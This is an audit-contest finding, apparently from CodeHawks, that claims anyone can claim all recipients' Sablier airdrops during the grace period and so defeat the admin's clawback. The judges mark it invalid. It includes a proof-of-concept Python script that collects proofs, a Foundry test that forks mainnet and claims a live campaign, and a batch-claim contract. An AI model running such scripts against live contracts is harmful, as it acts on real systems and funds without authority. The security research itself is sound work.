Sablier

Sablier
DeFiFoundry
53,440 USDC
View results
Submission Details
Severity: low
Invalid

```Grace period```, a critical period where ```clawback```s are allowed could still be taken away from the admin by exploiting the ```claim``` functions.

Summary

Sablier implements a gracePeriod(until 7 days after first claim) and a clawback functionality so that the creator has enough time to analyse and retrive funds in case of an emergency or a malicious campaign, or any other reason deemed fit by the admin.

function clawback(address to, uint128 amount) external override onlyAdmin {
// Check: current timestamp is over the grace period and the campaign has not expired.
if (_hasGracePeriodPassed() && !hasExpired()) {
revert Errors.SablierV2MerkleLockup_ClawbackNotAllowed({
blockTimestamp: block.timestamp,
expiration: EXPIRATION,
firstClaimTime: _firstClaimTime
});
}
// Effect: transfer the tokens to the provided address.
ASSET.safeTransfer(to, amount);
// Log the clawback.
emit Clawback(admin, to, amount);
}

While this functionality protects the creator from losing funds incase he created a campaign with malicious/invalid merkleTree as mentioned here, it still doesn't protect him from losing funds incase of a manipulated/invalid csv file.
This is because the claim function is available to everyone even during the grace period and can be exploited to end the campaign as soon as it is created.

The claim function might seem like a design choice because the recipient still gets his airdrop and the caller pays for gas.
However, it can open up attack vectors and loss of critical functionalities for the protocol and in some cases loss of funds.

This design(or vulnerability) will not been an issue if the merkle proofs and addresses were not known because to perform the attack through the app by trying to claim all the airdrops one by one will be impossible, but we will see how an attacker can get those information in the POC section.

This vulnerability occurs in both the SablierV2MerkleLL::claim and SablierV2MerkleLT::claim .

Vulnerability Details

Suppose a campaign is created with just five recipients(for the sake of our example),
and there is a mistake in the allocation of amounts in csv file of the campaign;

recipient 1 = 20 tokens
recipient 2 = 30 tokens
recipient 3 = 40 tokens
recipient 4 = 50 tokens
recipient 5 = 10 tokens
....

when it should have been:

recipient 1 = 10 tokens
recipient 2 = 20 tokens
recipient 3 = 30 tokens
recipient 4 = 40 tokens
recipient 5 = 50 tokens
....

The campaign creator notice this during the grace period and calls clawback to retrive the funds.
Any recipient who will benefit from it(or could be anyone) can frontrun it by claiming all the airdrops at once which will revert the clawback since all the funds are claimed.
This could also be done as soon as any campaign is created.
As a result the campaign creator and user5, will lose funds.

This is just one possible example with very less recipient, but there are could be many possible mistakes in the csv file like, listing the same recipient twice, etc.
Since airdrops could be created by anyone and the csv file is out of the controll of sablier, there could be campaigns with hundreds or thaousands or even less than 10 number of recipients and as the protocol grows there would be more campaigns and the chance to make mistake(or a manipulated csv) in the csv files will only increase. And the protocol fails to protect this with the gracePeriod if claim function is exploited.

POC

To show this attack, I've used campaign $USDT By 0x13c..F50b as an example.
This airstream is live and contains only two recipients with one claimed and is choosen purposely to make this example easier.
Note that this airstream uses the currently deployed version of sablier, but this part of the code is the same with this codebase given for audit.

So, to claim it directly by calling the contract we need to get the required inputs, this is open for anyone to query and is well documented here, which makes the exploit alot easier for the attacker.

First, before we get the merkle proofs we need to know the addresses of the recipients and anyone can get this through the app by going to the target airstream ---> manage ---> Download Merkle tree. And we will get something like:

{
"merkle_tree": "{\"format\":\"standard-v1\",\"tree\":[\"0xf4d39d5dd6523f9cdbec2e61329dcdc279468e20e2421fb9051f3ad58523f11b\",\"0xce78d173af2340adc7700b16b1266f72c09837901c591353327421fccb287974\",\"0x1d3b018b0850c341a6d1072748de9abc021a1738c50efee9302e7c46c076e9bf\"],\"values\":[{\"value\":[\"0\",\"0x13C97C3De6b7442c7Be01b210034248200AFf50b\",\"1000\"],\"tree_index\":2},{\"value\":[\"1\",\"0xeAE7A8A8a1DFAA18e835798800f39fD5B183c996\",\"2000\"],\"tree_index\":1}],\"leaf_encoding\":[\"uint\",\"address\",\"uint256\"]}",
"number_of_recipients": 2,
"recipients": [
{
"address": "0x13C97C3De6b7442c7Be01b210034248200AFf50b",
"amount": "1000"
},
{
"address": "0xeAE7A8A8a1DFAA18e835798800f39fD5B183c996",
"amount": "2000"
}
],
"root": "0xf4d39d5dd6523f9cdbec2e61329dcdc279468e20e2421fb9051f3ad58523f11b",
"total_amount": "3000"
}

We can also get this directly from ipfs using the cid which we can get it from etherscan.
After this we still need what merkle proofs are to be passed along with each addresses, so finally
to get the informations required we query the api using python:

import requests
url = "https://v2-services.vercel.app/api/eligibility"
params = {
"address": "0xeAE7A8A8a1DFAA18e835798800f39fD5B183c996",
"cid": "QmW8CvvqsStQwrP1hB5NNUgYMMrkgaVsyJK1tpj64GgW8G"
}
# Send a GET request to the API endpoint with the specified parameters
response = requests.get(url, params=params)
# Check if the request was successful
if response.status_code == 200:
data = response.json()
print(data)
else:
print("Error:", response.status_code)

run this file and get the proofs needed:

asuilinux@asui:~/2024-audits/sablier-merkle-test/queryApi$ python3 getProof.py
{'address': '0xeAE7A8A8a1DFAA18e835798800f39fD5B183c996', 'amount': '2000', 'index': 1, 'proof': ['0x1d3b018b0850c341a6d1072748de9abc021a1738c50efee9302e7c46c076e9bf']}

Now that we have the required inputs, we can claim the airstream using this test:

//SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IClaim {
function claim(uint256, address, uint128, bytes32[] calldata) external returns (uint256);
}
contract testClaimAirdrop is Test {
IClaim Campaign;
IERC20 USDT;
uint256 ARBITRUM_MAINNET;
function setUp() external {
ARBITRUM_MAINNET = vm.createFork("YOUR ARBITRUM URL");
vm.selectFork(ARBITRUM_MAINNET);
// the campaign contract address of Airstream $USDT By 0x13c..F50b at arbitrum
Campaign = IClaim(0x188da9BBe9AE084d71874aA433C468cE845Ca403);
// the USDT contract address on arbitrum
USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
}
function testClaim() public {
// prepare params to claim
console.log("USDT in campaign contract before claim :", USDT.balanceOf(address(Campaign)));
uint256 index = 1;
address recipient = 0xeAE7A8A8a1DFAA18e835798800f39fD5B183c996;
uint128 amount = 2000;
bytes32[] memory merkleProof = new bytes32[](1);
merkleProof[0] = 0x1d3b018b0850c341a6d1072748de9abc021a1738c50efee9302e7c46c076e9bf;
uint256 streamId = Campaign.claim(index, recipient, amount, merkleProof);
console.log("streamId :", streamId);
console.log("USDT in campaign contract after claim :", USDT.balanceOf(address(Campaign)));
}
}

now we can see that the attacker can successfully clam the airdrop by calling the contract directly(to run the test please initialize a new forge project);

asuilinux@asui:~/2024-audits/sablier-merkle-test/queryApi$ forge test --mt testClaim -vvv
[⠒] Compiling...
[⠘] Compiling 1 files with 0.8.20
[⠃] Solc 0.8.20 finished in 1.60s
Compiler run successful!
Ran 1 test for src/testClaimAirdrop.t.sol:testClaimAirdrop
[PASS] testClaim() (gas: 193599)
Logs:
USDT in campaign contract before claim : 2000
streamId : 12864
USDT in campaign contract after claim : 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.84s (10.61s CPU time)
Ran 1 test suite in 11.85s (11.84s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
asuilinux@asui:~/2024-audits/sablier-merkle-test/queryApi$

Note: The test example given is no different than manually claiming for the recipient through the Sablier app which is practically impossible for the attacker to do it for campaigns with hundreds of recipients. But the point I want to make here is in the python code where the attacker could get all the proofs needed.

The attacker can automate the process of getting all the proofs for all the recipients through the api using python, and instead of claiming it one by one he could batch up and claim it all in one transaction to make it more gas efficient and faster using a contract like this:

interface IClaim {
function claim(uint256, address, uint128, bytes32[] calldata) external returns (uint256);
}
contract batchClaim {
struct Proof {
bytes32[] merkleProof;
}
function claimAll(address campaignAddr, uint256[] memory index, address[] memory recipient, uint128[] memory amount, Proof[] memory proof) public {
IClaim Campaign = IClaim(campaignAddr);
for(uint i; i < index.length; ++i) {
Campaign.claim(index[i], recipient[i], amount[i], proof[i].merkleProof);
}
}
}

Impact

  • grace period, which is one of a critical functionality for the protocol can be taken away from every newly created campaign by a reciever(who profits from it) or by an attacker who is willing to pay the gas fees. And with chains like polygon the fees paid will be much lower. This would mean the grace period and expiry date of the campaignwas not there in the first place.

  • in case the campaign was created with streams that are uncancellable then there could be permanent loss of funds for the creator or recipients. In this case a recipient can gain from the attack but even with an attacker with no incentive if done the users of the protocol i.e. creators and recipients will be affected from it.

impact : medium, because funds are indirectly at risk and some level of disruption to the protocol's functionality.

likelihood : medium, because It might occur under specific conditions, it would need a campaign creator mistake or intention to clawback funds, and as the no. of campaigns increases this likelyhood also increases.

Tools Used

manual

Recommendations

Restrict the claim functions in such a way that only the recipient can call it during the grace period and after the grace period open the function to anyone so that someone else can claim it for recipient addresses with no gas.
add this code block in the claim function of both SablerV2MerkleLL and SablerV2MerkleLT:

if(!_hasGracePeriodPassed()){
require(msg.sender == recipient, "caller not recipient, only recipient allowed during grace period!");
}

This protects the campaign from an attacker claiming all the airdrops before gracePeriod passed, ensuring that campaign creators get enough gracePeriod if they have any intention to clawback funds and also the protocol doesn't lose out on the design(allowing recipients with no gas to be able to claim airdrop).

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Info/Gas/Invalid as per Docs

https://docs.codehawks.com/hawks-auditors/how-to-determine-a-finding-validity

Grace started early by donate + claim

touthang Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
touthang Submitter
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Info/Gas/Invalid as per Docs

https://docs.codehawks.com/hawks-auditors/how-to-determine-a-finding-validity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.